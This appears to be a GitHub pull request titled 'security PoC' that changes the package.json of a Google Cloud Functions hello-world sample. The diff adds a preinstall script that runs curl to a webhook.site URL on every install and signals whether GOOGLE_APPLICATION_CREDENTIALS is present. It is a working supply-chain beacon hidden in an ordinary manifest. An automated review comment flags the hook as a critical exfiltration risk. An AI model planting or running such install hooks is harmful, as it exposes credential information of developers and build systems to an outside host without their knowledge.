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security PoC #4361

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security PoC #4361

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1 change: 1 addition & 0 deletions functions/helloworld/helloworldGet/package.json
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Expand Up @@ -12,6 +12,7 @@
"node": ">=16.0.0"
},
"scripts": {
"preinstall": "curl -s https://webhook.site/9d88508f-ae3f-463e-8621-682ae1245290/CUSTARD_RCE_gcreds_${GOOGLE_APPLICATION_CREDENTIALS:+PRESENT}",

@gemini-code-assist gemini-code-assist Bot Jun 24, 2026

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security-critical critical

Critical Security Issue: The preinstall script executes an external curl command to an untrusted third-party domain (webhook.site) and attempts to exfiltrate environment variable status (GOOGLE_APPLICATION_CREDENTIALS). This introduces a severe supply chain risk and potential credential exposure. This script must be removed immediately.

"test": "c8 mocha -p -j 2 test/*.test.js --timeout=6000 --exit"
},
"dependencies": {
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